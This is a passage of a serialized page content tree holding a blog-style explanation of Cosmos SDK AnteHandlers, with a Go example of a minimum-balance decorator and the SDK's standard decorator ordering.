",{"type":23,"tag":56,"props":77230,"children":77232},{"className":77231},[],[77233],{"type":28,"value":77221},{"type":28,"value":77235}," is processed. Each ",{"type":23,"tag":56,"props":77237,"children":77239},{"className":77238},[],[77240],{"type":28,"value":77221},{"type":28,"value":77242}," is a state transition function that can:",{"type":23,"tag":41,"props":77244,"children":77245},{},[77246,77251],{"type":23,"tag":45,"props":77247,"children":77248},{},[77249],{"type":28,"value":77250},"Transform the block state in relation to transaction and execution context.",{"type":23,"tag":45,"props":77252,"children":77253},{},[77254,77256],{"type":28,"value":77255},"Determine the course of action for the transaction.\n",{"type":23,"tag":41,"props":77257,"children":77258},{},[77259,77270],{"type":23,"tag":45,"props":77260,"children":77261},{},[77262,77264,77269],{"type":28,"value":77263},"Pass the transaction to the next ",{"type":23,"tag":56,"props":77265,"children":77267},{"className":77266},[],[77268],{"type":28,"value":77221},{"type":28,"value":320},{"type":23,"tag":45,"props":77271,"children":77272},{},[77273],{"type":28,"value":77274},"Return error for transaction.",{"type":23,"tag":24,"props":77276,"children":77277},{},[77278,77280,77285],{"type":28,"value":77279},"The bad news is that developing an ",{"type":23,"tag":56,"props":77281,"children":77283},{"className":77282},[],[77284],{"type":28,"value":77221},{"type":28,"value":77286}," is not the easiest task. For instance, let's consider a scenario where we need to ensure all signers involved in a transaction have a balance greater than X at the time of transaction execution.",{"type":23,"tag":24,"props":77288,"children":77289},{},[77290,77291,77297],{"type":28,"value":15592},{"type":23,"tag":56,"props":77292,"children":77294},{"className":77293},[],[77295],{"type":28,"value":77296},"AnteHandle",{"type":28,"value":77298}," implementation may look something like this:",{"type":23,"tag":494,"props":77300,"children":77302},{"code":77301,"language":74915,"meta":7,"className":74916,"style":7},"const (\n    MIN_BALANCE = 100\n)\n\nfunc (abd AccountBalanceDecorator) AnteHandle(\n    ctx sdk.Context,\n    tx sdk.Tx,\n    simulate bool,\n    next sdk.AnteHandler,\n) (sdk.Context, error) {\n    sigTx, ok := tx.(authsigning.SigVerifiableTx)\n    if !ok {\n        return ctx, errorsmod.Wrap(\n            sdkerrors.ErrTxDecode,\n            \"invalid tx type\",\n        )\n    }\n\n    signers := sigTx.GetSigners()\n    for i, signer := range signers {\n        balance := abd.bk.getBalance(ctx, signer, ATOM)\n        if balance.Amount \u003C MIN_BALANCE {\n            return ctx, errorsmod.Wrap(\n                ErrInsufficientBalance,\n                \"Insufficient Balance\",\n            )\n        }\n    }\n\n    return next(ctx, tx, simulate)\n}\n",[77303],{"type":23,"tag":56,"props":77304,"children":77305},{"__ignoreMap":7},[77306,77318,77334,77341,77348,77381,77405,77430,77446,77470,77502,77550,77569,77602,77623,77635,77642,77649,77656,77686,77722,77786,77820,77852,77864,77876,77883,77890,77897,77904,77946],{"type":23,"tag":504,"props":77307,"children":77308},{"class":506,"line":507},[77309,77313],{"type":23,"tag":504,"props":77310,"children":77311},{"style":511},[77312],{"type":28,"value":8635},{"type":23,"tag":504,"props":77314,"children":77315},{"style":523},[77316],{"type":28,"value":77317}," (\n",{"type":23,"tag":504,"props":77319,"children":77320},{"class":506,"line":540},[77321,77326,77330],{"type":23,"tag":504,"props":77322,"children":77323},{"style":529},[77324],{"type":28,"value":77325},"    MIN_BALANCE",{"type":23,"tag":504,"props":77327,"children":77328},{"style":598},[77329],{"type":28,"value":648},{"type":23,"tag":504,"props":77331,"children":77332},{"style":1440},[77333],{"type":28,"value":18324},{"type":23,"tag":504,"props":77335,"children":77336},{"class":506,"line":555},[77337],{"type":23,"tag":504,"props":77338,"children":77339},{"style":523},[77340],{"type":28,"value":1192},{"type":23,"tag":504,"props":77342,"children":77343},{"class":506,"line":633},[77344],{"type":23,"tag":504,"props":77345,"children":77346},{"emptyLinePlaceholder":16},[77347],{"type":28,"value":1038},{"type":23,"tag":504,"props":77349,"children":77350},{"class":506,"line":687},[77351,77355,77359,77364,77369,77373,77377],{"type":23,"tag":504,"props":77352,"children":77353},{"style":511},[77354],{"type":28,"value":75051},{"type":23,"tag":504,"props":77356,"children":77357},{"style":523},[77358],{"type":28,"value":801},{"type":23,"tag":504,"props":77360,"children":77361},{"style":529},[77362],{"type":28,"value":77363},"abd ",{"type":23,"tag":504,"props":77365,"children":77366},{"style":1012},[77367],{"type":28,"value":77368},"AccountBalanceDecorator",{"type":23,"tag":504,"props":77370,"children":77371},{"style":523},[77372],{"type":28,"value":2064},{"type":23,"tag":504,"props":77374,"children":77375},{"style":517},[77376],{"type":28,"value":77296},{"type":23,"tag":504,"props":77378,"children":77379},{"style":523},[77380],{"type":28,"value":2439},{"type":23,"tag":504,"props":77382,"children":77383},{"class":506,"line":736},[77384,77388,77393,77397,77401],{"type":23,"tag":504,"props":77385,"children":77386},{"style":529},[77387],{"type":28,"value":19205},{"type":23,"tag":504,"props":77389,"children":77390},{"style":1012},[77391],{"type":28,"value":77392}," sdk",{"type":23,"tag":504,"props":77394,"children":77395},{"style":523},[77396],{"type":28,"value":320},{"type":23,"tag":504,"props":77398,"children":77399},{"style":1012},[77400],{"type":28,"value":75100},{"type":23,"tag":504,"props":77402,"children":77403},{"style":523},[77404],{"type":28,"value":2484},{"type":23,"tag":504,"props":77406,"children":77407},{"class":506,"line":785},[77408,77413,77417,77421,77426],{"type":23,"tag":504,"props":77409,"children":77410},{"style":529},[77411],{"type":28,"value":77412},"    tx",{"type":23,"tag":504,"props":77414,"children":77415},{"style":1012},[77416],{"type":28,"value":77392},{"type":23,"tag":504,"props":77418,"children":77419},{"style":523},[77420],{"type":28,"value":320},{"type":23,"tag":504,"props":77422,"children":77423},{"style":1012},[77424],{"type":28,"value":77425},"Tx",{"type":23,"tag":504,"props":77427,"children":77428},{"style":523},[77429],{"type":28,"value":2484},{"type":23,"tag":504,"props":77431,"children":77432},{"class":506,"line":813},[77433,77438,77442],{"type":23,"tag":504,"props":77434,"children":77435},{"style":529},[77436],{"type":28,"value":77437},"    simulate",{"type":23,"tag":504,"props":77439,"children":77440},{"style":1012},[77441],{"type":28,"value":11032},{"type":23,"tag":504,"props":77443,"children":77444},{"style":523},[77445],{"type":28,"value":2484},{"type":23,"tag":504,"props":77447,"children":77448},{"class":506,"line":851},[77449,77454,77458,77462,77466],{"type":23,"tag":504,"props":77450,"children":77451},{"style":529},[77452],{"type":28,"value":77453},"    next",{"type":23,"tag":504,"props":77455,"children":77456},{"style":1012},[77457],{"type":28,"value":77392},{"type":23,"tag":504,"props":77459,"children":77460},{"style":523},[77461],{"type":28,"value":320},{"type":23,"tag":504,"props":77463,"children":77464},{"style":1012},[77465],{"type":28,"value":77221},{"type":23,"tag":504,"props":77467,"children":77468},{"style":523},[77469],{"type":28,"value":2484},{"type":23,"tag":504,"props":77471,"children":77472},{"class":506,"line":869},[77473,77477,77482,77486,77490,77494,77498],{"type":23,"tag":504,"props":77474,"children":77475},{"style":523},[77476],{"type":28,"value":75133},{"type":23,"tag":504,"props":77478,"children":77479},{"style":1012},[77480],{"type":28,"value":77481},"sdk",{"type":23,"tag":504,"props":77483,"children":77484},{"style":523},[77485],{"type":28,"value":320},{"type":23,"tag":504,"props":77487,"children":77488},{"style":1012},[77489],{"type":28,"value":75100},{"type":23,"tag":504,"props":77491,"children":77492},{"style":523},[77493],{"type":28,"value":576},{"type":23,"tag":504,"props":77495,"children":77496},{"style":1012},[77497],{"type":28,"value":806},{"type":23,"tag":504,"props":77499,"children":77500},{"style":523},[77501],{"type":28,"value":537},{"type":23,"tag":504,"props":77503,"children":77504},{"class":506,"line":878},[77505,77510,77514,77519,77523,77527,77532,77537,77541,77546],{"type":23,"tag":504,"props":77506,"children":77507},{"style":529},[77508],{"type":28,"value":77509},"    sigTx",{"type":23,"tag":504,"props":77511,"children":77512},{"style":523},[77513],{"type":28,"value":576},{"type":23,"tag":504,"props":77515,"children":77516},{"style":529},[77517],{"type":28,"value":77518},"ok",{"type":23,"tag":504,"props":77520,"children":77521},{"style":598},[77522],{"type":28,"value":75167},{"type":23,"tag":504,"props":77524,"children":77525},{"style":529},[77526],{"type":28,"value":67008},{"type":23,"tag":504,"props":77528,"children":77529},{"style":523},[77530],{"type":28,"value":77531},".(",{"type":23,"tag":504,"props":77533,"children":77534},{"style":1012},[77535],{"type":28,"value":77536},"authsigning",{"type":23,"tag":504,"props":77538,"children":77539},{"style":523},[77540],{"type":28,"value":320},{"type":23,"tag":504,"props":77542,"children":77543},{"style":1012},[77544],{"type":28,"value":77545},"SigVerifiableTx",{"type":23,"tag":504,"props":77547,"children":77548},{"style":523},[77549],{"type":28,"value":1192},{"type":23,"tag":504,"props":77551,"children":77552},{"class":506,"line":1221},[77553,77557,77561,77565],{"type":23,"tag":504,"props":77554,"children":77555},{"style":544},[77556],{"type":28,"value":11261},{"type":23,"tag":504,"props":77558,"children":77559},{"style":598},[77560],{"type":28,"value":11845},{"type":23,"tag":504,"props":77562,"children":77563},{"style":529},[77564],{"type":28,"value":77518},{"type":23,"tag":504,"props":77566,"children":77567},{"style":523},[77568],{"type":28,"value":552},{"type":23,"tag":504,"props":77570,"children":77571},{"class":506,"line":1276},[77572,77576,77580,77584,77589,77593,77598],{"type":23,"tag":504,"props":77573,"children":77574},{"style":544},[77575],{"type":28,"value":742},{"type":23,"tag":504,"props":77577,"children":77578},{"style":529},[77579],{"type":28,"value":24823},{"type":23,"tag":504,"props":77581,"children":77582},{"style":523},[77583],{"type":28,"value":576},{"type":23,"tag":504,"props":77585,"children":77586},{"style":529},[77587],{"type":28,"value":77588},"errorsmod",{"type":23,"tag":504,"props":77590,"children":77591},{"style":523},[77592],{"type":28,"value":320},{"type":23,"tag":504,"props":77594,"children":77595},{"style":517},[77596],{"type":28,"value":77597},"Wrap",{"type":23,"tag":504,"props":77599,"children":77600},{"style":523},[77601],{"type":28,"value":2439},{"type":23,"tag":504,"props":77603,"children":77604},{"class":506,"line":1285},[77605,77610,77614,77619],{"type":23,"tag":504,"props":77606,"children":77607},{"style":529},[77608],{"type":28,"value":77609},"            sdkerrors",{"type":23,"tag":504,"props":77611,"children":77612},{"style":523},[77613],{"type":28,"value":320},{"type":23,"tag":504,"props":77615,"children":77616},{"style":529},[77617],{"type":28,"value":77618},"ErrTxDecode",{"type":23,"tag":504,"props":77620,"children":77621},{"style":523},[77622],{"type":28,"value":2484},{"type":23,"tag":504,"props":77624,"children":77625},{"class":506,"line":1294},[77626,77631],{"type":23,"tag":504,"props":77627,"children":77628},{"style":622},[77629],{"type":28,"value":77630},"            \"invalid tx type\"",{"type":23,"tag":504,"props":77632,"children":77633},{"style":523},[77634],{"type":28,"value":2484},{"type":23,"tag":504,"props":77636,"children":77637},{"class":506,"line":1302},[77638],{"type":23,"tag":504,"props":77639,"children":77640},{"style":523},[77641],{"type":28,"value":67301},{"type":23,"tag":504,"props":77643,"children":77644},{"class":506,"line":1311},[77645],{"type":23,"tag":504,"props":77646,"children":77647},{"style":523},[77648],{"type":28,"value":875},{"type":23,"tag":504,"props":77650,"children":77651},{"class":506,"line":1334},[77652],{"type":23,"tag":504,"props":77653,"children":77654},{"emptyLinePlaceholder":16},[77655],{"type":28,"value":1038},{"type":23,"tag":504,"props":77657,"children":77658},{"class":506,"line":1370},[77659,77664,77668,77673,77677,77682],{"type":23,"tag":504,"props":77660,"children":77661},{"style":529},[77662],{"type":28,"value":77663},"    signers",{"type":23,"tag":504,"props":77665,"children":77666},{"style":598},[77667],{"type":28,"value":75167},{"type":23,"tag":504,"props":77669,"children":77670},{"style":529},[77671],{"type":28,"value":77672}," sigTx",{"type":23,"tag":504,"props":77674,"children":77675},{"style":523},[77676],{"type":28,"value":320},{"type":23,"tag":504,"props":77678,"children":77679},{"style":517},[77680],{"type":28,"value":77681},"GetSigners",{"type":23,"tag":504,"props":77683,"children":77684},{"style":523},[77685],{"type":28,"value":1156},{"type":23,"tag":504,"props":77687,"children":77688},{"class":506,"line":1384},[77689,77693,77697,77701,77705,77709,77713,77718],{"type":23,"tag":504,"props":77690,"children":77691},{"style":544},[77692],{"type":28,"value":2008},{"type":23,"tag":504,"props":77694,"children":77695},{"style":529},[77696],{"type":28,"value":2374},{"type":23,"tag":504,"props":77698,"children":77699},{"style":523},[77700],{"type":28,"value":576},{"type":23,"tag":504,"props":77702,"children":77703},{"style":529},[77704],{"type":28,"value":6130},{"type":23,"tag":504,"props":77706,"children":77707},{"style":598},[77708],{"type":28,"value":75167},{"type":23,"tag":504,"props":77710,"children":77711},{"style":544},[77712],{"type":28,"value":76150},{"type":23,"tag":504,"props":77714,"children":77715},{"style":529},[77716],{"type":28,"value":77717}," signers",{"type":23,"tag":504,"props":77719,"children":77720},{"style":523},[77721],{"type":28,"value":552},{"type":23,"tag":504,"props":77723,"children":77724},{"class":506,"line":1392},[77725,77730,77734,77739,77743,77748,77752,77757,77761,77765,77769,77773,77777,77782],{"type":23,"tag":504,"props":77726,"children":77727},{"style":529},[77728],{"type":28,"value":77729},"        balance",{"type":23,"tag":504,"props":77731,"children":77732},{"style":598},[77733],{"type":28,"value":75167},{"type":23,"tag":504,"props":77735,"children":77736},{"style":529},[77737],{"type":28,"value":77738}," abd",{"type":23,"tag":504,"props":77740,"children":77741},{"style":523},[77742],{"type":28,"value":320},{"type":23,"tag":504,"props":77744,"children":77745},{"style":529},[77746],{"type":28,"value":77747},"bk",{"type":23,"tag":504,"props":77749,"children":77750},{"style":523},[77751],{"type":28,"value":320},{"type":23,"tag":504,"props":77753,"children":77754},{"style":517},[77755],{"type":28,"value":77756},"getBalance",{"type":23,"tag":504,"props":77758,"children":77759},{"style":523},[77760],{"type":28,"value":526},{"type":23,"tag":504,"props":77762,"children":77763},{"style":529},[77764],{"type":28,"value":19262},{"type":23,"tag":504,"props":77766,"children":77767},{"style":523},[77768],{"type":28,"value":576},{"type":23,"tag":504,"props":77770,"children":77771},{"style":529},[77772],{"type":28,"value":6130},{"type":23,"tag":504,"props":77774,"children":77775},{"style":523},[77776],{"type":28,"value":576},{"type":23,"tag":504,"props":77778,"children":77779},{"style":529},[77780],{"type":28,"value":77781},"ATOM",{"type":23,"tag":504,"props":77783,"children":77784},{"style":523},[77785],{"type":28,"value":1192},{"type":23,"tag":504,"props":77787,"children":77788},{"class":506,"line":1400},[77789,77793,77798,77802,77807,77811,77816],{"type":23,"tag":504,"props":77790,"children":77791},{"style":544},[77792],{"type":28,"value":2250},{"type":23,"tag":504,"props":77794,"children":77795},{"style":529},[77796],{"type":28,"value":77797}," balance",{"type":23,"tag":504,"props":77799,"children":77800},{"style":523},[77801],{"type":28,"value":320},{"type":23,"tag":504,"props":77803,"children":77804},{"style":529},[77805],{"type":28,"value":77806},"Amount",{"type":23,"tag":504,"props":77808,"children":77809},{"style":598},[77810],{"type":28,"value":7702},{"type":23,"tag":504,"props":77812,"children":77813},{"style":529},[77814],{"type":28,"value":77815}," MIN_BALANCE",{"type":23,"tag":504,"props":77817,"children":77818},{"style":523},[77819],{"type":28,"value":552},{"type":23,"tag":504,"props":77821,"children":77822},{"class":506,"line":1422},[77823,77828,77832,77836,77840,77844,77848],{"type":23,"tag":504,"props":77824,"children":77825},{"style":544},[77826],{"type":28,"value":77827},"            return",{"type":23,"tag":504,"props":77829,"children":77830},{"style":529},[77831],{"type":28,"value":24823},{"type":23,"tag":504,"props":77833,"children":77834},{"style":523},[77835],{"type":28,"value":576},{"type":23,"tag":504,"props":77837,"children":77838},{"style":529},[77839],{"type":28,"value":77588},{"type":23,"tag":504,"props":77841,"children":77842},{"style":523},[77843],{"type":28,"value":320},{"type":23,"tag":504,"props":77845,"children":77846},{"style":517},[77847],{"type":28,"value":77597},{"type":23,"tag":504,"props":77849,"children":77850},{"style":523},[77851],{"type":28,"value":2439},{"type":23,"tag":504,"props":77853,"children":77854},{"class":506,"line":1450},[77855,77860],{"type":23,"tag":504,"props":77856,"children":77857},{"style":529},[77858],{"type":28,"value":77859},"                ErrInsufficientBalance",{"type":23,"tag":504,"props":77861,"children":77862},{"style":523},[77863],{"type":28,"value":2484},{"type":23,"tag":504,"props":77865,"children":77866},{"class":506,"line":1463},[77867,77872],{"type":23,"tag":504,"props":77868,"children":77869},{"style":622},[77870],{"type":28,"value":77871},"                \"Insufficient Balance\"",{"type":23,"tag":504,"props":77873,"children":77874},{"style":523},[77875],{"type":28,"value":2484},{"type":23,"tag":504,"props":77877,"children":77878},{"class":506,"line":1485},[77879],{"type":23,"tag":504,"props":77880,"children":77881},{"style":523},[77882],{"type":28,"value":76266},{"type":23,"tag":504,"props":77884,"children":77885},{"class":506,"line":1503},[77886],{"type":23,"tag":504,"props":77887,"children":77888},{"style":523},[77889],{"type":28,"value":1291},{"type":23,"tag":504,"props":77891,"children":77892},{"class":506,"line":1516},[77893],{"type":23,"tag":504,"props":77894,"children":77895},{"style":523},[77896],{"type":28,"value":875},{"type":23,"tag":504,"props":77898,"children":77899},{"class":506,"line":1543},[77900],{"type":23,"tag":504,"props":77901,"children":77902},{"emptyLinePlaceholder":16},[77903],{"type":28,"value":1038},{"type":23,"tag":504,"props":77905,"children":77906},{"class":506,"line":1583},[77907,77911,77916,77920,77924,77928,77933,77937,77942],{"type":23,"tag":504,"props":77908,"children":77909},{"style":544},[77910],{"type":28,"value":15968},{"type":23,"tag":504,"props":77912,"children":77913},{"style":517},[77914],{"type":28,"value":77915}," next",{"type":23,"tag":504,"props":77917,"children":77918},{"style":523},[77919],{"type":28,"value":526},{"type":23,"tag":504,"props":77921,"children":77922},{"style":529},[77923],{"type":28,"value":19262},{"type":23,"tag":504,"props":77925,"children":77926},{"style":523},[77927],{"type":28,"value":576},{"type":23,"tag":504,"props":77929,"children":77930},{"style":529},[77931],{"type":28,"value":77932},"tx",{"type":23,"tag":504,"props":77934,"children":77935},{"style":523},[77936],{"type":28,"value":576},{"type":23,"tag":504,"props":77938,"children":77939},{"style":529},[77940],{"type":28,"value":77941},"simulate",{"type":23,"tag":504,"props":77943,"children":77944},{"style":523},[77945],{"type":28,"value":1192},{"type":23,"tag":504,"props":77947,"children":77948},{"class":506,"line":1605},[77949],{"type":23,"tag":504,"props":77950,"children":77951},{"style":523},[77952],{"type":28,"value":884},{"type":23,"tag":24,"props":77954,"children":77955},{},[77956,77958,77963,77965,77971,77973,77979],{"type":28,"value":77957},"Where should this custom ",{"type":23,"tag":56,"props":77959,"children":77961},{"className":77960},[],[77962],{"type":28,"value":77221},{"type":28,"value":77964}," be placed relative to other ",{"type":23,"tag":56,"props":77966,"children":77968},{"className":77967},[],[77969],{"type":28,"value":77970},"AnteHandlers",{"type":28,"value":77972}," provided by cosmos-sdk?\nConsidering that we are only concerned with transactions that satisfy our check, inserting it right after the ",{"type":23,"tag":56,"props":77974,"children":77976},{"className":77975},[],[77977],{"type":28,"value":77978},"SetUpContextDecorator",{"type":28,"value":77980}," should work, right?",{"type":23,"tag":24,"props":77982,"children":77983},{},[77984],{"type":23,"tag":92,"props":77985,"children":77988},{"href":77986,"rel":77987},"https://github.com/cosmos/cosmos-sdk/blob/f0aec3f30dd952e1b4b3a5b25e0412c1af5baaac/x/auth/ante/ante.go#L41",[96],[77989],{"type":28,"value":75490},{"type":23,"tag":494,"props":77991,"children":77993},{"code":77992,"language":74915,"meta":7,"className":74916,"style":7},"anteDecorators := []sdk.AnteDecorator{\n    NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n    // INSERT HERE\n    NewExtensionOptionsDecorator(options.ExtensionOptionChecker),\n    NewValidateBasicDecorator(),\n    NewTxTimeoutHeightDecorator(),\n    NewValidateMemoDecorator(options.AccountKeeper),\n    NewConsumeGasForTxSizeDecorator(options.AccountKeeper),\n    NewDeductFeeDecorator(options.AccountKeeper, options.BankKeeper, options.FeegrantKeeper, options.TxFeeChecker),\n    NewSetPubKeyDecorator(options.AccountKeeper), // SetPubKeyDecorator must be called before all signature verification decorators\n    NewValidateSigCountDecorator(options.AccountKeeper),\n    NewSigGasConsumeDecorator(options.AccountKeeper, options.SigGasConsumer),\n    NewSigVerificationDecorator(options.AccountKeeper, options.SignModeHandler),\n    NewIncrementSequenceDecorator(options.AccountKeeper),\n}\n",[77994],{"type":23,"tag":56,"props":77995,"children":77996},{"__ignoreMap":7},[77997,78030,78047,78055,78084,78096,78108,78137,78165,78244,78277,78305,78350,78395,78423],{"type":23,"tag":504,"props":77998,"children":77999},{"class":506,"line":507},[78000,78005,78009,78013,78017,78021,78026],{"type":23,"tag":504,"props":78001,"children":78002},{"style":529},[78003],{"type":28,"value":78004},"anteDecorators",{"type":23,"tag":504,"props":78006,"children":78007},{"style":598},[78008],{"type":28,"value":75167},{"type":23,"tag":504,"props":78010,"children":78011},{"style":523},[78012],{"type":28,"value":74978},{"type":23,"tag":504,"props":78014,"children":78015},{"style":1012},[78016],{"type":28,"value":77481},{"type":23,"tag":504,"props":78018,"children":78019},{"style":523},[78020],{"type":28,"value":320},{"type":23,"tag":504,"props":78022,"children":78023},{"style":1012},[78024],{"type":28,"value":78025},"AnteDecorator",{"type":23,"tag":504,"props":78027,"children":78028},{"style":523},[78029],{"type":28,"value":9862},{"type":23,"tag":504,"props":78031,"children":78032},{"class":506,"line":540},[78033,78038,78042],{"type":23,"tag":504,"props":78034,"children":78035},{"style":517},[78036],{"type":28,"value":78037},"    NewSetUpContextDecorator",{"type":23,"tag":504,"props":78039,"children":78040},{"style":523},[78041],{"type":28,"value":17355},{"type":23,"tag":504,"props":78043,"children":78044},{"style":1106},[78045],{"type":28,"value":78046},"// outermost AnteDecorator. SetUpContext must be called first\n",{"type":23,"tag":504,"props":78048,"children":78049},{"class":506,"line":555},[78050],{"type":23,"tag":504,"props":78051,"children":78052},{"style":1106},[78053],{"type":28,"value":78054},"    // INSERT HERE\n",{"type":23,"tag":504,"props":78056,"children":78057},{"class":506,"line":633},[78058,78063,78067,78071,78075,78080],{"type":23,"tag":504,"props":78059,"children":78060},{"style":517},[78061],{"type":28,"value":78062},"    NewExtensionOptionsDecorator",{"type":23,"tag":504,"props":78064,"children":78065},{"style":523},[78066],{"type":28,"value":526},{"type":23,"tag":504,"props":78068,"children":78069},{"style":529},[78070],{"type":28,"value":35015},{"type":23,"tag":504,"props":78072,"children":78073},{"style":523},[78074],{"type":28,"value":320},{"type":23,"tag":504,"props":78076,"children":78077},{"style":529},[78078],{"type":28,"value":78079},"ExtensionOptionChecker",{"type":23,"tag":504,"props":78081,"children":78082},{"style":523},[78083],{"type":28,"value":5720},{"type":23,"tag":504,"props":78085,"children":78086},{"class":506,"line":687},[78087,78092],{"type":23,"tag":504,"props":78088,"children":78089},{"style":517},[78090],{"type":28,"value":78091},"    NewValidateBasicDecorator",{"type":23,"tag":504,"props":78093,"children":78094},{"style":523},[78095],{"type":28,"value":2467},{"type":23,"tag":504,"props":78097,"children":78098},{"class":506,"line":736},[78099,78104],{"type":23,"tag":504,"props":78100,"children":78101},{"style":517},[78102],{"type":28,"value":78103},"    NewTxTimeoutHeightDecorator",{"type":23,"tag":504,"props":78105,"children":78106},{"style":523},[78107],{"type":28,"value":2467},{"type":23,"tag":504,"props":78109,"children":78110},{"class":506,"line":785},[78111,78116,78120,78124,78128,78133],{"type":23,"tag":504,"props":78112,"children":78113},{"style":517},[78114],{"type":28,"value":78115},"    NewValidateMemoDecorator",{"type":23,"tag":504,"props":78117,"children":78118},{"style":523},[78119],{"type":28,"value":526},{"type":23,"tag":504,"props":78121,"children":78122},{"style":529},[78123],{"type":28,"value":35015},{"type":23,"tag":504,"props":78125,"children":78126},{"style":523},[78127],{"type":28,"value":320},{"type":23,"tag":504,"props":78129,"children":78130},{"style":529},[78131],{"type":28,"value":78132},"AccountKeeper",{"type":23,"tag":504,"props":78134,"children":78135},{"style":523},[78136],{"type":28,"value":5720},{"type":23,"tag":504,"props":78138,"children":78139},{"class":506,"line":813},[78140,78145,78149,78153,78157,78161],{"type":23,"tag":504,"props":78141,"children":78142},{"style":517},[78143],{"type":28,"value":78144},"    NewConsumeGasForTxSizeDecorator",{"type":23,"tag":504,"props":78146,"children":78147},{"style":523},[78148],{"type":28,"value":526},{"type":23,"tag":504,"props":78150,"children":78151},{"style":529},[78152],{"type":28,"value":35015},{"type":23,"tag":504,"props":78154,"children":78155},{"style":523},[78156],{"type":28,"value":320},{"type":23,"tag":504,"props":78158,"children":78159},{"style":529},[78160],{"type":28,"value":78132},{"type":23,"tag":504,"props":78162,"children":78163},{"style":523},[78164],{"type":28,"value":5720},{"type":23,"tag":504,"props":78166,"children":78167},{"class":506,"line":851},[78168,78173,78177,78181,78185,78189,78193,78197,78201,78206,78210,78214,78218,78223,78227,78231,78235,78240],{"type":23,"tag":504,"props":78169,"children":78170},{"style":517},[78171],{"type":28,"value":78172},"    NewDeductFeeDecorator",{"type":23,"tag":504,"props":78174,"children":78175},{"style":523},[78176],{"type":28,"value":526},{"type":23,"tag":504,"props":78178,"children":78179},{"style":529},[78180],{"type":28,"value":35015},{"type":23,"tag":504,"props":78182,"children":78183},{"style":523},[78184],{"type":28,"value":320},{"type":23,"tag":504,"props":78186,"children":78187},{"style":529},[78188],{"type":28,"value":78132},{"type":23,"tag":504,"props":78190,"children":78191},{"style":523},[78192],{"type":28,"value":576},{"type":23,"tag":504,"props":78194,"children":78195},{"style":529},[78196],{"type":28,"value":35015},{"type":23,"tag":504,"props":78198,"children":78199},{"style":523},[78200],{"type":28,"value":320},{"type":23,"tag":504,"props":78202,"children":78203},{"style":529},[78204],{"type":28,"value":78205},"BankKeeper",{"type":23,"tag":504,"props":78207,"children":78208},{"style":523},[78209],{"type":28,"value":576},{"type":23,"tag":504,"props":78211,"children":78212},{"style":529},[78213],{"type":28,"value":35015},{"type":23,"tag":504,"props":78215,"children":78216},{"style":523},[78217],{"type":28,"value":320},{"type":23,"tag":504,"props":78219,"children":78220},{"style":529},[78221],{"type":28,"value":78222},"FeegrantKeeper",{"type":23,"tag":504,"props":78224,"children":78225},{"style":523},[78226],{"type":28,"value":576},{"type":23,"tag":504,"props":78228,"children":78229},{"style":529},[78230],{"type":28,"value":35015},{"type":23,"tag":504,"props":78232,"children":78233},{"style":523},[78234],{"type":28,"value":320},{"type":23,"tag":504,"props":78236,"children":78237},{"style":529},[78238],{"type":28,"value":78239},"TxFeeChecker",{"type":23,"tag":504,"props":78241,"children":78242},{"style":523},[78243],{"type":28,"value":5720},{"type":23,"tag":504,"props":78245,"children":78246},{"class":506,"line":869},[78247,78252,78256,78260,78264,78268,78272],{"type":23,"tag":504,"props":78248,"children":78249},{"style":517},[78250],{"type":28,"value":78251},"    NewSetPubKeyDecorator",{"type":23,"tag":504,"props":78253,"children":78254},{"style":523},[78255],{"type":28,"value":526},{"type":23,"tag":504,"props":78257,"children":78258},{"style":529},[78259],{"type":28,"value":35015},{"type":23,"tag":504,"props":78261,"children":78262},{"style":523},[78263],{"type":28,"value":320},{"type":23,"tag":504,"props":78265,"children":78266},{"style":529},[78267],{"type":28,"value":78132},{"type":23,"tag":504,"props":78269,"children":78270},{"style":523},[78271],{"type":28,"value":14157},{"type":23,"tag":504,"props":78273,"children":78274},{"style":1106},[78275],{"type":28,"value":78276},"// SetPubKeyDecorator must be called before all signature verification decorators\n",{"type":23,"tag":504,"props":78278,"children":78279},{"class":506,"line":878},[78280,78285,78289,78293,78297,78301],{"type":23,"tag":504,"props":78281,"children":78282},{"style":517},[78283],{"type":28,"value":78284},"    NewValidateSigCountDecorator",{"type":23,"tag":504,"props":78286,"children":78287},{"style":523},[78288],{"type":28,"value":526},{"type":23,"tag":504,"props":78290,"children":78291},{"style":529},[78292],{"type":28,"value":35015},{"type":23,"tag":504,"props":78294,"children":78295},{"style":523},[78296],{"type":28,"value":320},{"type":23,"tag":504,"props":78298,"children":78299},{"style":529},[78300],{"type":28,"value":78132},{"type":23,"tag":504,"props":78302,"children":78303},{"style":523},[78304],{"type":28,"value":5720},{"type":23,"tag":504,"props":78306,"children":78307},{"class":506,"line":1221},[78308,78313,78317,78321,78325,78329,78333,78337,78341,78346],{"type":23,"tag":504,"props":78309,"children":78310},{"style":517},[78311],{"type":28,"value":78312},"    NewSigGasConsumeDecorator",{"type":23,"tag":504,"props":78314,"children":78315},{"style":523},[78316],{"type":28,"value":526},{"type":23,"tag":504,"props":78318,"children":78319},{"style":529},[78320],{"type":28,"value":35015},{"type":23,"tag":504,"props":78322,"children":78323},{"style":523},[78324],{"type":28,"value":320},{"type":23,"tag":504,"props":78326,"children":78327},{"style":529},[78328],{"type":28,"value":78132},{"type":23,"tag":504,"props":78330,"children":78331},{"style":523},[78332],{"type":28,"value":576},{"type":23,"tag":504,"props":78334,"children":78335},{"style":529},[78336],{"type":28,"value":35015},{"type":23,"tag":504,"props":78338,"children":78339},{"style":523},[78340],{"type":28,"value":320},{"type":23,"tag":504,"props":78342,"children":78343},{"style":529},[78344],{"type":28,"value":78345},"SigGasConsumer",{"type":23,"tag":504,"props":78347,"children":78348},{"style":523},[78349],{"type":28,"value":5720},{"type":23,"tag":504,"props":78351,"children":78352},{"class":506,"line":1276},[78353,78358,78362,78366,78370,78374,78378,78382,78386,78391],{"type":23,"tag":504,"props":78354,"children":78355},{"style":517},[78356],{"type":28,"value":78357},"    